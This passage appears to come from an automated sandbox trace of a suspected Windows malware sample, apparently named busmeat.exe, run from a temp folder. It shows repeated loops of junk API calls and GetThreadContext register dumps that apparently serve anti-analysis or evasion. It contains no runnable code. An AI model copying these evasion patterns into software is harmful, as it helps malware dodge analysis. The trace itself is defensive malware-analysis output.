[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.247] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.247] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.247] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.247] GetConsoleCP () returned 0x0
	[0066.247] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.247] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.248] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.248] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.248] GetConsoleCP () returned 0x0
	[0066.248] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.248] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.249] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.249] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.249] GetConsoleCP () returned 0x0
